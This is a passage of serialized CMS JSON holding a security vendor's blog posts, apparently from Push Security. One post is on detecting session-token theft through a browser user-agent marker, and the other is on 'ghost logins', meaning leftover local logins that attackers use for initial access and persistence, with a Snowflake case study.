Report",{"data":180394,"marks":180395,"value":21,"nodeType":865},{},[],{"data":180397,"content":180398,"nodeType":1570},{},[180399],{"data":180400,"content":180401,"nodeType":866},{},[180402,180406,180415],{"data":180403,"marks":180404,"value":180405,"nodeType":865},{},[],"Information-stealing malware accounted for nearly 10 percent of activity that Red Canary was able to associate with named threats last year. They also found a rise in stealer malware targeting macOS compared to previous years. Source: ",{"data":180407,"content":180409,"nodeType":889},{"uri":180408},"https://redcanary.com/threat-detection-report/trends/info-stealers/",[180410],{"data":180411,"marks":180412,"value":180414,"nodeType":865},{},[180413],{"type":943},"2024 Red Canary Threat Detection Report",{"data":180416,"marks":180417,"value":21,"nodeType":865},{},[],{"data":180419,"content":180420,"nodeType":1570},{},[180421],{"data":180422,"content":180423,"nodeType":866},{},[180424,180428,180436],{"data":180425,"marks":180426,"value":180427,"nodeType":865},{},[],"Stolen credentials continued to rank as the top initial access method for breaches analyzed by Verizon. Source: ",{"data":180429,"content":180430,"nodeType":889},{"uri":1063},[180431],{"data":180432,"marks":180433,"value":180435,"nodeType":865},{},[180434],{"type":943},"2024 Data Breach Investigations Report",{"data":180437,"marks":180438,"value":21,"nodeType":865},{},[],{"data":180440,"content":180441,"nodeType":1570},{},[180442],{"data":180443,"content":180444,"nodeType":866},{},[180445,180449,180456],{"data":180446,"marks":180447,"value":180448,"nodeType":865},{},[],"The number of token replay attacks is increasing, with Microsoft detecting 147,000 attacks in 2023, a 111% increase year-over-year. Source: ",{"data":180450,"content":180451,"nodeType":889},{"uri":162106},[180452],{"data":180453,"marks":180454,"value":180455,"nodeType":865},{},[],"Microsoft Blog",{"data":180457,"marks":180458,"value":21,"nodeType":865},{},[],{"data":180460,"content":180461,"nodeType":981},{},[180462],{"data":180463,"marks":180464,"value":180465,"nodeType":865},{},[],"What's missing from current defenses",{"data":180467,"content":180468,"nodeType":866},{},[180469],{"data":180470,"marks":180471,"value":180472,"nodeType":865},{},[],"When defending against infostealer malware or other forms of session and credential theft, there are a few common challenges that organizations may face:",{"data":180474,"content":180475,"nodeType":1616},{},[180476,180486],{"data":180477,"content":180478,"nodeType":1570},{},[180479],{"data":180480,"content":180481,"nodeType":866},{},[180482],{"data":180483,"marks":180484,"value":180485,"nodeType":865},{},[],"Their endpoint security tooling doesn’t provide complete coverage across their device fleet, though they thought it did.",{"data":180487,"content":180488,"nodeType":1570},{},[180489],{"data":180490,"content":180491,"nodeType":866},{},[180492],{"data":180493,"marks":180494,"value":180495,"nodeType":865},{},[],"The malware is good enough to evade EDR detection, or it was able to execute and exfiltrate sessions or other data before it was stopped.",{"data":180497,"content":180498,"nodeType":866},{},[180499],{"data":180500,"marks":180501,"value":180502,"nodeType":865},{},[],"Existing approaches to detecting stolen sessions also pose a noisy problem. Relying on IP-based or geolocation-based signals can result in frequent false positives. (And not all identity provider logs include a session identifier that you can use to perform correlations in the first place.)",{"data":180504,"content":180505,"nodeType":866},{},[180506],{"data":180507,"marks":180508,"value":180509,"nodeType":865},{},[],"The missing piece is a trusted signal for legitimate sessions that you can use to correlate with other data in order to identify unexpected activity that indicates a compromised identity and device.",{"data":180511,"content":180512,"nodeType":981},{},[180513],{"data":180514,"marks":180515,"value":180516,"nodeType":865},{},[],"Generating unique telemetry via the browser",{"data":180518,"content":180519,"nodeType":866},{},[180520],{"data":180521,"marks":180522,"value":180523,"nodeType":865},{},[],"Push’s solution to detecting stolen sessions falls into the category of “so simple, why didn’t this already exist?”",{"data":180525,"content":180526,"nodeType":866},{},[180527],{"data":180528,"marks":180529,"value":180530,"nodeType":865},{},[],"The answer: Because you need to be in the browser to do it. The Push browser agent sits in a unique position that we can leverage to provide telemetry that otherwise would be extremely difficult to create.",{"data":180532,"content":180533,"nodeType":866},{},[180534],{"data":180535,"marks":180536,"value":158312,"nodeType":865},{},[],{"data":180538,"content":180539,"nodeType":1616},{},[180540,180550,180560],{"data":180541,"content":180542,"nodeType":1570},{},[180543],{"data":180544,"content":180545,"nodeType":866},{},[180546],{"data":180547,"marks":180548,"value":180549,"nodeType":865},{},[],"Via the Push browser agent, Push injects a unique marker into the user agent string of sessions that occur in browsers enrolled in Push.",{"data":180551,"content":180552,"nodeType":1570},{},[180553],{"data":180554,"content":180555,"nodeType":866},{},[180556],{"data":180557,"marks":180558,"value":180559,"nodeType":865},{},[],"Administrators then add the list of domains where they wish to inject the marker into sessions, such as an identity provider like Okta or Microsoft.",{"data":180561,"content":180562,"nodeType":1570},{},[180563],{"data":180564,"content":180565,"nodeType":866},{},[180566,180570,180574,180578,180582],{"data":180567,"marks":180568,"value":180569,"nodeType":865},{},[],"By analyzing logs from the IdP, you can identify activity from the same session that both ",{"data":180571,"marks":180572,"value":125754,"nodeType":865},{},[180573],{"type":898},{"data":180575,"marks":180576,"value":180577,"nodeType":865},{},[]," the Push marker and that ",{"data":180579,"marks":180580,"value":126795,"nodeType":865},{},[180581],{"type":898},{"data":180583,"marks":180584,"value":180585,"nodeType":865},{},[]," the marker. This can only ever happen when a session is extracted from a browser and maliciously imported into a different browser.",{"data":180587,"content":180588,"nodeType":866},{},[180589],{"data":180590,"marks":180591,"value":180592,"nodeType":865},{},[],"This is a high-fidelity signal that a stolen session token is in use.",{"data":180594,"content":180597,"nodeType":912},{"target":180595},{"sys":180596},{"id":126761,"type":909,"linkType":910},[],{"data":180599,"content":180600,"nodeType":866},{},[180601,180605,180612],{"data":180602,"marks":180603,"value":180604,"nodeType":865},{},[],"Learn more about configuring this feature in our ",{"data":180606,"content":180607,"nodeType":889},{"uri":180276},[180608],{"data":180609,"marks":180610,"value":60907,"nodeType":865},{},[180611],{"type":943},{"data":180613,"marks":180614,"value":1615,"nodeType":865},{},[],{"data":180616,"content":180620,"nodeType":912},{"target":180617},{"sys":180618},{"id":180619,"type":909,"linkType":910},"35dpGqNY6cTM0fSQRflLiO",[],{"data":180622,"content":180623,"nodeType":981},{},[180624],{"data":180625,"marks":180626,"value":180627,"nodeType":865},{},[],"Unlocking new capabilities for blue teams",{"data":180629,"content":180630,"nodeType":866},{},[180631],{"data":180632,"marks":180633,"value":180634,"nodeType":865},{},[],"As we’ve said before, we see browser telemetry and browser-based controls as the missing piece in security strategies to stop identity attacks — particularly for modern organizations with complex identity ecosystems that span IdPs, SaaS apps, OAuth-connected apps, and more.",{"data":180636,"content":180637,"nodeType":866},{},[180638],{"data":180639,"marks":180640,"value":180641,"nodeType":865},{},[],"Where the browser agent approach particularly shines is that it’s application-agnostic. ",{"data":180643,"content":180644,"nodeType":866},{},[180645],{"data":180646,"marks":180647,"value":180648,"nodeType":865},{},[],"As long as the app you want to monitor provides robust logs, you can inject the Push-supplied marker into any session on any app. ",{"data":180650,"content":180651,"nodeType":866},{},[180652],{"data":180653,"marks":180654,"value":180655,"nodeType":865},{},[],"This allows you to detect suspicious activity even on internal corporate assets, such as an intranet. ",{"data":180657,"content":180658,"nodeType":866},{},[180659],{"data":180660,"marks":180661,"value":180662,"nodeType":865},{},[],"A tidy side effect is that you can also use this feature to identify unmanaged devices accessing sensitive corporate internal resources because they will lack the Push browser agent-supplied marker.",{"data":180664,"content":180665,"nodeType":866},{},[180666],{"data":180667,"marks":180668,"value":180669,"nodeType":865},{},[],"There are probably a few other creative use cases for this feature, so we look forward to seeing what you come up with!",{"data":180671,"content":180672,"nodeType":981},{},[180673],{"data":180674,"marks":180675,"value":113824,"nodeType":865},{},[],{"data":180677,"content":180678,"nodeType":866},{},[180679,180682,180689],{"data":180680,"marks":180681,"value":126944,"nodeType":865},{},[],{"data":180683,"content":180684,"nodeType":889},{"uri":16069},[180685],{"data":180686,"marks":180687,"value":14066,"nodeType":865},{},[180688],{"type":943},{"data":180690,"marks":180691,"value":180692,"nodeType":865},{},[],". We’ll be happy to show you this feature, along with how we discover all the apps your employees are using, even the ones not behind SSO, and how we detect vulnerable identities and stop identity attacks with browser-based controls.","Introducing session token theft detection: Why browser is best","Push's browser agent identifies session token theft by adding telemetry to the user agent string to create a new high-fidelity signal for your security team.","introducing-session-token-theft-detection-why-browser-is-best",{"items":180697},[180698,180700],{"sys":180699,"name":342},{"id":4642},{"sys":180701,"name":126984},{"id":126983},{"items":180703},[180704],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":180705},{"url":6503},{"__typename":1429,"sys":180707,"content":180708,"title":181522,"synopsis":181523,"hashTags":59,"publishedDate":181524,"slug":181525,"tagsCollection":181526,"authorsCollection":181532},{"id":156348},{"json":180709},{"data":180710,"content":180711,"nodeType":1382},{},[180712,180719,180726,180733,180761,180768,180775,180792,180799,180806,180824,180831,180838,180845,180851,180858,180901,180908,180915,180922,180945,180952,180959,180966,181014,181021,181028,181035,181042,181054,181061,181069,181076,181109,181116,181123,181130,181137,181198,181206,181213,181220,181254,181261,181269,181276,181283,181295,181311,181340,181358,181365,181382,181389,181396,181413,181420,181427,181434,181467,181474,181493,181510,181516],{"data":180713,"content":180714,"nodeType":866},{},[180715],{"data":180716,"marks":180717,"value":180718,"nodeType":865},{},[],"Identity attacks like phishing, credential stuffing, and session hijacking are now the leading cause of cyber security breaches, as attackers shift their attention to the sprawl of third-party applications and services that has become the backbone of business IT. ",{"data":180720,"content":180721,"nodeType":866},{},[180722],{"data":180723,"marks":180724,"value":180725,"nodeType":865},{},[],"The attacker’s goal in these attacks is account takeover: logging into a user account to access your company app tenant. From there, the attacker can usually achieve all of their objectives from inside the compromised app, usually involving dumping sensitive data with which to hold the company to ransom, or selling the data on underground criminal marketplaces. ",{"data":180727,"content":180728,"nodeType":866},{},[180729],{"data":180730,"marks":180731,"value":180732,"nodeType":865},{},[],"These attack techniques have been commonplace for over a decade — but the shift in attack context away from attacking endpoints (user devices and servers) to cloud services is seeing something of an identity attack renaissance. ",{"data":180734,"content":180735,"nodeType":866},{},[180736,180739,180746,180750,180757],{"data":180737,"marks":180738,"value":21,"nodeType":865},{},[],{"data":180740,"content":180741,"nodeType":889},{"uri":53259},[180742],{"data":180743,"marks":180744,"value":395,"nodeType":865},{},[180745],{"type":943},{"data":180747,"marks":180748,"value":180749,"nodeType":865},{},[]," are one of the leading factors in successful ",{"data":180751,"content":180752,"nodeType":889},{"uri":169182},[180753],{"data":180754,"marks":180755,"value":169188,"nodeType":865},{},[180756],{"type":943},{"data":180758,"marks":180759,"value":180760,"nodeType":865},{},[]," attacks driving account takeover.",{"data":180762,"content":180763,"nodeType":981},{},[180764],{"data":180765,"marks":180766,"value":180767,"nodeType":865},{},[],"Ghost logins 101",{"data":180769,"content":180770,"nodeType":866},{},[180771],{"data":180772,"marks":180773,"value":180774,"nodeType":865},{},[],"Simply put, ghost logins are often-forgotten alternative login methods that are tricky for security teams to manage and secure — because they don’t know about them. Because of this, they’re likely to possess weak configurations that make them susceptible to account takeover attacks. ",{"data":180776,"content":180777,"nodeType":866},{},[180778,180782,180789],{"data":180779,"marks":180780,"value":180781,"nodeType":865},{},[],"We found that ",{"data":180783,"content":180784,"nodeType":889},{"uri":6698},[180785],{"data":180786,"marks":180787,"value":180788,"nodeType":865},{},[],"ghost logins are present in ~10% of the accounts per organization",{"data":180790,"marks":180791,"value":6719,"nodeType":865},{},[],{"data":180793,"content":180794,"nodeType":1317},{},[180795],{"data":180796,"marks":180797,"value":180798,"nodeType":865},{},[],"Why do ghost logins exist?",{"data":180800,"content":180801,"nodeType":866},{},[180802],{"data":180803,"marks":180804,"value":180805,"nodeType":865},{},[],"Identity management used to be something that was centrally contained and managed using an enterprise identity service like Active Directory. Most users probably only had one or two identities that you really cared about: the one they used to log into their company laptop and domain, and maybe also to log into a VPN. ",{"data":180807,"content":180808,"nodeType":866},{},[180809,180813,180820],{"data":180810,"marks":180811,"value":180812,"nodeType":865},{},[],"Now, there are ",{"data":180814,"content":180815,"nodeType":889},{"uri":6698},[180816],{"data":180817,"marks":180818,"value":180819,"nodeType":865},{},[],"200+ business apps in use per company, creating 1000s of sprawled identities",{"data":180821,"marks":180822,"value":180823,"nodeType":865},{},[]," across an ecosystem of business apps and services accessed over the internet.",{"data":180825,"content":180826,"nodeType":866},{},[180827],{"data":180828,"marks":180829,"value":180830,"nodeType":865},{},[],"Most businesses have tried to solve this problem with single sign on (SSO). The logic being that if you can use a single set of credentials (and therefore, a single identity) to access all of your business apps, and then secure those credentials with MFA, then this problem goes away. However…",{"data":180832,"content":180833,"nodeType":1317},{},[180834],{"data":180835,"marks":180836,"value":180837,"nodeType":865},{},[],"SSO expectations versus reality",{"data":180839,"content":180840,"nodeType":866},{},[180841],{"data":180842,"marks":180843,"value":180844,"nodeType":865},{},[],"Unfortunately, the reality of SSO implementation is flawed. Most apps accept multiple login methods that can be configured — and used — simultaneously (yes, most apps don’t have proper session controls).  ",{"data":180846,"content":180850,"nodeType":912},{"target":180847},{"sys":180848},{"id":180849,"type":909,"linkType":910},"3sOz3HkiyJpY9nFtGCWEOV",[],{"data":180852,"content":180853,"nodeType":866},{},[180854],{"data":180855,"marks":180856,"value":180857,"nodeType":865},{},[],"This is made worse by the fact that:",{"data":180859,"content":180860,"nodeType":1616},{},[180861,180871,180881,180891],{"data":180862,"content":180863,"nodeType":1570},{},[180864],{"data":180865,"content":180866,"nodeType":866},{},[180867],{"data":180868,"marks":180869,"value":180870,"nodeType":865},{},[],"Most apps can't be locked down to restrict which login methods are accepted.",{"data":180872,"content":180873,"nodeType":1570},{},[180874],{"data":180875,"content":180876,"nodeType":866},{},[180877],{"data":180878,"marks":180879,"value":180880,"nodeType":865},{},[],"Users often self-adopt apps, and default to a username and password (and typically miss out MFA). ",{"data":180882,"content":180883,"nodeType":1570},{},[180884],{"data":180885,"content":180886,"nodeType":866},{},[180887],{"data":180888,"marks":180889,"value":180890,"nodeType":865},{},[],"SSO isn’t always possible if you aren’t using a supported IdP — and only one in three apps support SAML, the preferred enterprise-grade protocol.",{"data":180892,"content":180893,"nodeType":1570},{},[180894],{"data":180895,"content":180896,"nodeType":866},{},[180897],{"data":180898,"marks":180899,"value":180900,"nodeType":865},{},[],"Even where SSO is possible, configuring an app for SSO doesn't automatically delete any legacy local logins.",{"data":180902,"content":180903,"nodeType":866},{},[180904],{"data":180905,"marks":180906,"value":180907,"nodeType":865},{},[],"Inevitably, this means that there are many situations in which users will create local accounts — typically with a username and password, and without MFA. This is how ghost logins are born.",{"data":180909,"content":180910,"nodeType":1317},{},[180911],{"data":180912,"marks":180913,"value":180914,"nodeType":865},{},[],"How are ghost logins created? ",{"data":180916,"content":180917,"nodeType":866},{},[180918],{"data":180919,"marks":180920,"value":180921,"nodeType":865},{},[],"Ghost logins can be created in the following ways:",{"data":180923,"content":180924,"nodeType":1616},{},[180925,180935],{"data":180926,"content":180927,"nodeType":1570},{},[180928],{"data":180929,"content":180930,"nodeType":866},{},[180931],{"data":180932,"marks":180933,"value":180934,"nodeType":865},{},[],"A user self-adopts an app, setting up an account with a local username and password. The app is later adopted companywide and brought under SSO. This creates an additional SSO login method, likely as the default, but the local login will continue to exist unless explicitly disabled or deleted. ",{"data":180936,"content":180937,"nodeType":1570},{},[180938],{"data":180939,"content":180940,"nodeType":866},{},[180941],{"data":180942,"marks":180943,"value":180944,"nodeType":865},{},[],"Secondary/backup login methods can often be added later in the app settings after logging in. This includes things like setting up a secondary email to send a login link to, or setting up API access to remove the need to authenticate altogether. ",{"data":180946,"content":180947,"nodeType":866},{},[180948],{"data":180949,"marks":180950,"value":180951,"nodeType":865},{},[],"So, ghost logins are very easily introduced through the normal course of app adoption and use by employees. ",{"data":180953,"content":180954,"nodeType":1317},{},[180955],{"data":180956,"marks":180957,"value":180958,"nodeType":865},{},[],"Why do ghost logins pose a risk? ",{"data":180960,"content":180961,"nodeType":866},{},[180962],{"data":180963,"marks":180964,"value":180965,"nodeType":865},{},[],"Ghost logins pose a risk for a number of reasons, as they: ",{"data":180967,"content":180968,"nodeType":1616},{},[180969,180984,180999],{"data":180970,"content":180971,"nodeType":1570},{},[180972],{"data":180973,"content":180974,"nodeType":866},{},[180975,180980],{"data":180976,"marks":180977,"value":180979,"nodeType":865},{},[180978],{"type":926},"Typically have less secure configurations ",{"data":180981,"marks":180982,"value":180983,"nodeType":865},{},[],"than your preferred login method – and may be missing key controls like MFA.  ",{"data":180985,"content":180986,"nodeType":1570},{},[180987],{"data":180988,"content":180989,"nodeType":866},{},[180990,180995],{"data":180991,"marks":180992,"value":180994,"nodeType":865},{},[180993],{"type":926},"Are effectively shadow logins",{"data":180996,"marks":180997,"value":180998,"nodeType":865},{},[]," – IT/security don’t know about them, and if using an IdP as your primary identity security interface, they won’t necessarily be visible without taking a deeper look at individual apps. ",{"data":181000,"content":181001,"nodeType":1570},{},[181002],{"data":181003,"content":181004,"nodeType":866},{},[181005,181010],{"data":181006,"marks":181007,"value":181009,"nodeType":865},{},[181008],{"type":926},"Can be used simultaneously with SSO",{"data":181011,"marks":181012,"value":181013,"nodeType":865},{},[]," – so you can have an unrestricted number of concurrent sessions with SSO and non SSO logins active at the same time, without the user being kicked out of the previous session.",{"data":181015,"content":181016,"nodeType":866},{},[181017],{"data":181018,"marks":181019,"value":181020,"nodeType":865},{},[],"Ghost logins provide opportunities for attackers to bypass security controls for initial access and persistence in an application (which we’ll come onto in more detail later). They also provide an opportunity for malicious insiders, e.g. a disgruntled employee, to access systems even after SSO access is revoked. If the security team relies on IdP logs to audit app logins, these accounts can go undetected.",{"data":181022,"content":181023,"nodeType":866},{},[181024],{"data":181025,"marks":181026,"value":181027,"nodeType":865},{},[],"To be able to identify them, you’d need to log into the app admin dashboard. But depending on how the app was adopted, you (as a security admin) may not even be an app-level admin — it’s not unusual for individual teams to administer their own apps. And even if you do have access, it’s not always easy (or possible) to gather this level of information about user account configuration. ",{"data":181029,"content":181030,"nodeType":866},{},[181031],{"data":181032,"marks":181033,"value":181034,"nodeType":865},{},[],"It’s very easy to see how these vulnerable login methods can be overlooked by security teams – let’s look at how they can be identified and exploited by attackers. ",{"data":181036,"content":181037,"nodeType":981},{},[181038],{"data":181039,"marks":181040,"value":181041,"nodeType":865},{},[],"How can ghost logins be exploited by attackers?",{"data":181043,"content":181044,"nodeType":866},{},[181045,181050],{"data":181046,"marks":181047,"value":181049,"nodeType":865},{},[181048],{"type":926},"Let’s take an example scenario:",{"data":181051,"marks":181052,"value":181053,"nodeType":865},{},[]," You’re using an IdP solution like Okta or Microsoft/Entra with SAML SSO as the default login method for your core business apps. Via your IdP you require MFA when authenticating to your IdP apps page, and also potentially when signing into an individual connected app. ",{"data":181055,"content":181056,"nodeType":866},{},[181057],{"data":181058,"marks":181059,"value":181060,"nodeType":865},{},[],"However, you only recently introduced your IdP solution, and your users previously accessed this app with a local username and password. Although you asked your users to configure MFA in the app itself, not all of them did. And when you deployed your IdP solution, you didn’t manually unset all the local password-based logins for the apps you connected to it. ",{"data":181062,"content":181063,"nodeType":866},{},[181064],{"data":181065,"marks":181066,"value":181068,"nodeType":865},{},[181067],{"type":926},"Unknown to you, there are now hundreds of local accounts for core business apps which lack MFA. ",{"data":181070,"content":181071,"nodeType":866},{},[181072],{"data":181073,"marks":181074,"value":181075,"nodeType":865},{},[],"There are two main scenarios in which ghost logins can be utilized by an attacker:",{"data":181077,"content":181078,"nodeType":1616},{},[181079,181094],{"data":181080,"content":181081,"nodeType":1570},{},[181082],{"data":181083,"content":181084,"nodeType":866},{},[181085,181090],{"data":181086,"marks":181087,"value":181089,"nodeType":865},{},[181088],{"type":926},"To bypass robustly configured login methods",{"data":181091,"marks":181092,"value":181093,"nodeType":865},{},[]," such as SSO to compromise an app identity during the initial access phase of an attack. ",{"data":181095,"content":181096,"nodeType":1570},{},[181097],{"data":181098,"content":181099,"nodeType":866},{},[181100,181105],{"data":181101,"marks":181102,"value":181104,"nodeType":865},{},[181103],{"type":926},"To create additional login methods for an already compromised account to ensure persistent access",{"data":181106,"marks":181107,"value":181108,"nodeType":865},{},[]," – even if the original compromised login method is revoked or disabled. This could be either the result of compromising an identity belonging to a specific app, or having previously compromised an IdP account (e.g. Okta).",{"data":181110,"content":181111,"nodeType":866},{},[181112],{"data":181113,"marks":181114,"value":181115,"nodeType":865},{},[],"Let's look at these use cases in more detail. ",{"data":181117,"content":181118,"nodeType":1317},{},[181119],{"data":181120,"marks":181121,"value":181122,"nodeType":865},{},[],"Ghost logins for initial access",{"data":181124,"content":181125,"nodeType":866},{},[181126],{"data":181127,"marks":181128,"value":181129,"nodeType":865},{},[],"Arguably the most dangerous use case for ghost logins is to conduct credential attacks against accounts using a username and password. Logins with a weak or guessable password, or a reused password that has appeared in a public data breach dump, are primed for account takeover. ",{"data":181131,"content":181132,"nodeType":866},{},[181133],{"data":181134,"marks":181135,"value":181136,"nodeType":865},{},[],"The cyber crime ecosystem is leaning toward the theft, sale, and use of stolen credentials (not just emails and passwords, but session tokens too). ",{"data":181138,"content":181139,"nodeType":1616},{},[181140,181160,181179],{"data":181141,"content":181142,"nodeType":1570},{},[181143],{"data":181144,"content":181145,"nodeType":866},{},[181146,181150,181157],{"data":181147,"marks":181148,"value":181149,"nodeType":865},{},[],"There are 600 million identity attacks per day, with 99% involving passwords (",{"data":181151,"content":181152,"nodeType":889},{"uri":131785},[181153],{"data":181154,"marks":181155,"value":8641,"nodeType":865},{},[181156],{"type":943},{"data":181158,"marks":181159,"value":46245,"nodeType":865},{},[],{"data":181161,"content":181162,"nodeType":1570},{},[181163],{"data":181164,"content":181165,"nodeType":866},{},[181166,181169,181176],{"data":181167,"marks":181168,"value":162124,"nodeType":865},{},[],{"data":181170,"content":181171,"nodeType":889},{"uri":4147},[181172],{"data":181173,"marks":181174,"value":53721,"nodeType":865},{},[181175],{"type":943},{"data":181177,"marks":181178,"value":46245,"nodeType":865},{},[],{"data":181180,"content":181181,"nodeType":1570},{},[181182],{"data":181183,"content":181184,"nodeType":866},{},[181185,181188,181195],{"data":181186,"marks":181187,"value":162062,"nodeType":865},{},[],{"data":181189,"content":181190,"nodeType":889},{"uri":162065},[181191],{"data":181192,"marks":181193,"value":162071,"nodeType":865},{},[181194],{"type":943},{"data":181196,"marks":181197,"value":46245,"nodeType":865},{},[],{"data":181199,"content":181200,"nodeType":866},{},[181201],{"data":181202,"marks":181203,"value":181205,"nodeType":865},{},[181204],{"type":926},"So, it’s easier than ever for attackers to gather breached credentials and weaponize them at scale. ",{"data":181207,"content":181208,"nodeType":866},{},[181209],{"data":181210,"marks":181211,"value":181212,"nodeType":865},{},[],"Realistically, any username and password combination for addresses belonging to a specific organization/domain can be attempted on any app. Breached credential data will often provide a strong indicator of other apps also in use for that organization. And for apps with a custom tenant URL (that cannot be easily guessed) data dumps often helpfully include the URLs for those login pages, too.  ",{"data":181214,"content":181215,"nodeType":866},{},[181216],{"data":181217,"marks":181218,"value":181219,"nodeType":865},{},[],"The risk posed by the massive amounts of leaked credentials available is heightened because: ",{"data":181221,"content":181222,"nodeType":1616},{},[181223,181244],{"data":181224,"content":181225,"nodeType":1570},{},[181226],{"data":181227,"content":181228,"nodeType":866},{},[181229,181233,181240],{"data":181230,"marks":181231,"value":181232,"nodeType":865},{},[],"Many employees reuse passwords, with ",{"data":181234,"content":181235,"nodeType":889},{"uri":6698},[181236],{"data":181237,"marks":181238,"value":181239,"nodeType":865},{},[],"~9% of all accounts using a breached, weak, or reused password",{"data":181241,"marks":181242,"value":181243,"nodeType":865},{},[],". This isn’t just for low-risk apps either, and includes the reuse of highly sensitive IdP creds. ",{"data":181245,"content":181246,"nodeType":1570},{},[181247],{"data":181248,"content":181249,"nodeType":866},{},[181250],{"data":181251,"marks":181252,"value":181253,"nodeType":865},{},[],"Organizations don’t typically rotate or enforce changes to SaaS app passwords in the same way they might for company account/device login connected to Active Directory.  ",{"data":181255,"content":181256,"nodeType":866},{},[181257],{"data":181258,"marks":181259,"value":181260,"nodeType":865},{},[],"Ghost logins aren’t limited to just username and password either. For example, a breached social account such as Facebook or Google can result in a broader compromise if those accounts have been connected to any corporate apps.   ",{"data":181262,"content":181263,"nodeType":866},{},[181264],{"data":181265,"marks":181266,"value":181268,"nodeType":865},{},[181267],{"type":926},"So, exploiting ghost logins can be a highly effective method for attackers to gain initial access to a user account from which to launch further attacks.  ",{"data":181270,"content":181271,"nodeType":1317},{},[181272],{"data":181273,"marks":181274,"value":181275,"nodeType":865},{},[],"Ghost logins for persistence and defense evasion",{"data":181277,"content":181278,"nodeType":866},{},[181279],{"data":181280,"marks":181281,"value":181282,"nodeType":865},{},[],"Now, we’ll take a look at how attackers can leverage ghost logins as part of the later stages of an attack, having already established an initial foothold via account compromise. ",{"data":181284,"content":181285,"nodeType":866},{},[181286,181290],{"data":181287,"marks":181288,"value":181289,"nodeType":865},{},[],"If an organization has a reasonable level of security monitoring in-place (depending on log availability from the particular app vendor), or a victim receives a notification about an unusual login (e.g. from a new device or unusual IP) then access to an account can be short-lived. ",{"data":181291,"marks":181292,"value":181294,"nodeType":865},{},[181293],{"type":926},"However, ghost logins can provide attackers with the tools to maintain persistent access to a compromised account, even if the initial compromised login method is disabled or revoked. ",{"data":181296,"content":181297,"nodeType":866},{},[181298,181302,181307],{"data":181299,"marks":181300,"value":181301,"nodeType":865},{},[],"For example, if a social login is used to access an account, an adversary may be able to configure a separate username/password login, or even (though much less commonly) connect a second social account that the adversary controls. This allows the adversary to maintain persistent access to the user account ",{"data":181303,"marks":181304,"value":181306,"nodeType":865},{},[181305],{"type":926},"even in the event of password changes or MFA changes",{"data":181308,"marks":181309,"value":181310,"nodeType":865},{},[],". The attack will go unnoticed if the victim organization relies on SSO logs for auditing access to SaaS applications because the attack bypasses SSO, as the login remains local to the SaaS app or, in the case of an OIDC SSO login, the adversary’s own social account.",{"data":181312,"content":181313,"nodeType":866},{},[181314,181318,181325,181329,181337],{"data":181315,"marks":181316,"value":181317,"nodeType":865},{},[],"Another quirk is that it’s common for ordinary users to become app-level admins when an app is self-adopted by an individual or team. If an attacker is able to gain control of such an account, it can then be used to target other users without needing to deliver phishing links by hijacking SAML-based authentication. In this scenario, users attempting to sign in using SAML SSO are directed it to an attacker-controlled tenant in a watering hole attack (also known as ",{"data":181319,"content":181320,"nodeType":889},{"uri":105869},[181321],{"data":181322,"marks":181323,"value":105875,"nodeType":865},{},[181324],{"type":943},{"data":181326,"marks":181327,"value":181328,"nodeType":865},{},[],", which you can ",{"data":181330,"content":181331,"nodeType":889},{"uri":105882},[181332],{"data":181333,"marks":181334,"value":181336,"nodeType":865},{},[181335],{"type":943},"read more about in another blog post",{"data":181338,"marks":181339,"value":40358,"nodeType":865},{},[],{"data":181341,"content":181342,"nodeType":866},{},[181343,181347,181355],{"data":181344,"marks":181345,"value":181346,"nodeType":865},{},[],"If you're curious as to how an attacker might be able to compromise an IdP account such as Okta, ",{"data":181348,"content":181349,"nodeType":889},{"uri":54386},[181350],{"data":181351,"marks":181352,"value":181354,"nodeType":865},{},[181353],{"type":943},"you should check out our blog post on AitM and BitM phishing techniques",{"data":181356,"marks":181357,"value":113401,"nodeType":865},{},[],{"data":181359,"content":181360,"nodeType":981},{},[181361],{"data":181362,"marks":181363,"value":181364,"nodeType":865},{},[],"Case study: Snowflake",{"data":181366,"content":181367,"nodeType":866},{},[181368,181371,181378],{"data":181369,"marks":181370,"value":1449,"nodeType":865},{},[],{"data":181372,"content":181373,"nodeType":889},{"uri":13054},[181374],{"data":181375,"marks":181376,"value":181377,"nodeType":865},{},[],"recent attacks on 165 Snowflake customers",{"data":181379,"marks":181380,"value":181381,"nodeType":865},{},[],", resulting in hundreds of millions of breached customer records, were the product of a credential stuffing campaign using stolen credentials from infostealer infections dating back to 2020. ",{"data":181383,"content":181384,"nodeType":866},{},[181385],{"data":181386,"marks":181387,"value":181388,"nodeType":865},{},[],"The industry response to Snowflake was typical: check whether Snowflake has been set up for SSO, and if so, job done — we’re protected by MFA.",{"data":181390,"content":181391,"nodeType":866},{},[181392],{"data":181393,"marks":181394,"value":181395,"nodeType":865},{},[],"The reality was that MFA was not — and could not — be centrally enforced for username and password accounts. Even if MFA was applied at the IdP level for SSO logins, it was not enforced for local username and password logins. It needed to be opted-into by the user. ",{"data":181397,"content":181398,"nodeType":866},{},[181399,181403,181410],{"data":181400,"marks":181401,"value":181402,"nodeType":865},{},[],"This meant the most logical thing to do was to disable local accounts. But because Snowflake is essentially a cloud-hosted SQL database, there was no easy-to-use GUI to access local account config data. Once you’d managed to get an admin account with the right permissions, you needed to run various commands to find and unset the accounts. ",{"data":181404,"content":181405,"nodeType":889},{"uri":169364},[181406],{"data":181407,"marks":181408,"value":181409,"nodeType":865},{},[],"But if you didn’t have the exact type of admin account, misleading results would be returned — and even after you had fixed the vulnerability it took hours to update the database. ",{"data":181411,"marks":181412,"value":21,"nodeType":865},{},[],{"data":181414,"content":181415,"nodeType":866},{},[181416],{"data":181417,"marks":181418,"value":181419,"nodeType":865},{},[],"This meant that organizations were exposed to these attacks for a prolonged period, and were left uncertain as to whether they had addressed the vulnerabilities or not. ",{"data":181421,"content":181422,"nodeType":981},{},[181423],{"data":181424,"marks":181425,"value":181426,"nodeType":865},{},[],"Using Push to find and fix ghost logins across your app inventory",{"data":181428,"content":181429,"nodeType":866},{},[181430],{"data":181431,"marks":181432,"value":181433,"nodeType":865},{},[],"Finding and fixing ghost logins is a challenge for most organizations. Since you can’t rely on the view provided by your IdP, you need to:",{"data":181435,"content":181436,"nodeType":1616},{},[181437,181447,181457],{"data":181438,"content":181439,"nodeType":1570},{},[181440],{"data":181441,"content":181442,"nodeType":866},{},[181443],{"data":181444,"marks":181445,"value":181446,"nodeType":865},{},[],"Discover the apps in use across your organization",{"data":181448,"content":181449,"nodeType":1570},{},[181450],{"data":181451,"content":181452,"nodeType":866},{},[181453],{"data":181454,"marks":181455,"value":181456,"nodeType":865},{},[],"Get admin rights, audit each app, and unset any local credentials (enforcing MFA at the 